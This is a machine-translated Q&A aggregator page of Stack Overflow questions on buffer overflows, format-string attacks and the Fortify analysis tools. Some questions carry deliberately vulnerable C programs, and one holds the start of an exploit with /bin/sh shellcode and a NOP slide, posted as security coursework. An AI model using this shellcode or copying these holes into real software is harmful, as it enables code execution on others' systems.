标签: fortify-source

如何防止memcpy缓冲区溢出?

程序中有一些固定大小的二进制缓冲区用于存储数据.memcpy用于将缓冲区从一个缓冲区复制到另一个缓冲区.由于源缓冲区可能大于目标缓冲区.如何检测是否存在缓冲区溢出?

c buffer-overflow memcpy fortify-source

7
推荐指数
3
解决办法
3万
查看次数

无法在堆栈上写入(堆栈溢出)

我正在尝试一些安全性的东西,特别是试图理解ret2ret漏洞.我正在试验的代码:

void foo(char * val){
        char buffer[64];
        int i;
        for (i=0; val[i]!=0; i++) buffer[i]=val[i];
        return;
}

int main(int argc, char ** argv) {
        foo(argv[1]);
        return 0;
} 
Run Code Online (Sandbox Code Playgroud)

我的测试期间,ASLR,N ^ X和堆栈金丝雀都关闭了.我用gcc编译了32位.我不知道为什么,但我无法得到通常的"0x41414141 in ??()"说我覆盖了$ eip.所以我决定使用gdb进行调试,并在函数"cop"中对ret进行断点,奇怪的是,即使在写入超过300"A"之后,堆栈也是如此:

 0xbffff46c:    0xb7ee2290  0xbffff496  0xb7e8f5f5  0x41414141
 0xbffff47c:    0x41414141  0x41414141  0x41414141  0x41414141
 0xbffff48c:    0x41414141  0x41414141  0x41414141  0x41414141
 0xbffff49c:    0x41414141  0x41414141  0x41414141  0x41414141
 0xbffff4ac:    0x41414141  0x41414141  0x41414141  0x00410043
Run Code Online (Sandbox Code Playgroud)

对应缓冲区的64个字符在这里,但其余部分没有写入...我不知道为什么?是否由于某种更新?

编辑:buff的GDB日志[64]

Dump of assembler code for function main:
   0x08048415 <+0>: push   %ebp
   0x08048416 <+1>: mov    %esp,%ebp
   0x08048418 <+3>: sub    $0x4,%esp
   0x0804841b …
Run Code Online (Sandbox Code Playgroud)

c security assembly buffer-overflow fortify-source

7
推荐指数
1
解决办法
252
查看次数

强化与Maven的集成 - 安装

我想针对Maven Eclipse项目运行Fortify扫描.

我应该从哪里开始?

我知道我需要更新我的pom.xml文件以包含Fortify插件,但是我还需要在我的机器上安装Fortify SCA吗?(我正在运行MacOS X).我一直试图找到一个下载Fortify SCA的地方,但一直找不到它.

我很感激,如果有人可以分享一些链接,指出我在正确的方向上完成设置.

java eclipse maven fortify fortify-source

6
推荐指数
2
解决办法
2万
查看次数

强化经常误用身份验证的修复程序

当我使用fortify进行扫描时,在以下代码中发现了诸如“经常被滥用:身份验证”之类的漏洞。为此,我们有任何解决方法可以避免此问题。我看过相关文章,但无法获得解决方案。使用ESAPI,我为主机名和ipadress提供了正则表达式,但它不起作用。 addr.getHostAddress() java.net.InetAddress.getByName(nameServiceHost); java.net.InetAddress.getLocalHost().getCanonicalHostName() localhost.getHostName()

请建议我解决此问题。

java fortify fortify-source

6
推荐指数
1
解决办法
7634
查看次数

使用__sprintf_chk()禁用

我观察到一个c ++程序使用sprintf,这个sprintf隐式调用__sprintf_chk().这__sprintf_chk()似乎通过检查堆栈帧来检查缓冲区溢出.

为了我的研究目的,我想知道是否可以禁用__sprintf_chk()

c c++ printf fortify-source

5
推荐指数
2
解决办法
4014
查看次数

格式字符串攻击

我有一个小的C程序可以被利用.而且我也理解了要执行的攻击背后的逻辑.但是,尽管我尝试过,但这对我来说并不合适.

#include <stdio.h>
#include <stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[]) {
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow format-string fortify-source

5
推荐指数
1
解决办法
3089
查看次数

作为房主的缓冲区溢出

仍在学习安全类的缓冲区溢出,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
Run Code Online (Sandbox Code Playgroud)

使用此漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow stack-smash shellcode fortify-source

5
推荐指数
1
解决办法
3426
查看次数

HP Fortify:ASP.NET 不良做法:会话中存储的不可序列化对象

HttpContextHelper.cs 中的 set_UserActiveEnvironments() 方法将不可序列化的对象存储为第 47 行的 HttpSessionState 属性,这会破坏应用程序的可靠性

默认情况下,ASP.NET 服务器在内存中存储 HttpSessionState 对象、它的属性和它们引用的任何对象。此模型将活动会话状态限制为单个机器的系统内存可以容纳的状态。为了扩展容量超出这些限制,服务器经常被配置为持久的会话状态信息,这既扩展了容量又允许跨多台机器复制以提高整体性能。为了保持其会话状态,服务器必须序列化 HttpSessionState 对象,这要求存储在其中的所有对象都是可序列化的。

为什么将其显示为漏洞,我该如何修复?

asp.net c#-4.0 fortify fortify-source ggfortify

5
推荐指数
1
解决办法
6714
查看次数

在Mac OS 10.6上执行简单的缓冲区溢出

我正在尝试了解堆栈基础溢出并编写一个简单的代码来利用堆栈.但不知怎的,它根本不起作用,只显示我的机器上的Abort陷阱(mac os豹)

我猜Mac OS对待溢出的方式不同,它不允许我通过c代码覆盖内存.例如,

strcpy(buffer, input) // lets say char buffer[6] but input is 7 bytes 
Run Code Online (Sandbox Code Playgroud)

在Linux机器上,此代码成功覆盖下一个堆栈,但在mac os上被阻止(Abort trap)

任何人都知道如何在mac机器上执行简单的堆栈溢出?

c macos buffer-overflow fortify-source

4
推荐指数
2
解决办法
6692
查看次数

使用Gradle进行HP Fortify扫描

我在build.gradle中使用以下配置来运行HP Fortify扫描:

// Fortify configuration
configurations {
  fortify { extendsFrom compile }
}

// pull in the fortify libs for the new configuration
dependencies {
  fortify 'com.fortify:sourceanalyzer:3.90'
}

task fortifyReport(dependsOn: compileJava) << {
  ant.properties['build.compiler']='com.fortify.dev.ant.SCACompiler'
  ant.typedef(name: 'sca', classname: 'com.fortify.dev.ant.SourceanalyzerTask', classpath: configurations.fortify.asPath)
  ant.sca(jdk:"1.7",
    debug:true ,
    verbose:true ,
    failonerror:true ,
    scan:true ,
    logFile:file("$buildDir/reports/fortify/Fortify.log"),
    resultsFile:file("$buildDir/reports/fortify/${project.name}.fpr")
  ){
    fileset(dir:'src/main') {
      include(name:'**/*.java')
    }
  }
}
Run Code Online (Sandbox Code Playgroud)

但在执行时,我得到以下内容:

* What went wrong:
Execution failed for task ':fortifyReport'.
> Could not resolve all dependencies for configuration 'detachedConfiguration157'.
> Could not …
Run Code Online (Sandbox Code Playgroud)

sca gradle fortify build.gradle fortify-source

3
推荐指数
1
解决办法
5418
查看次数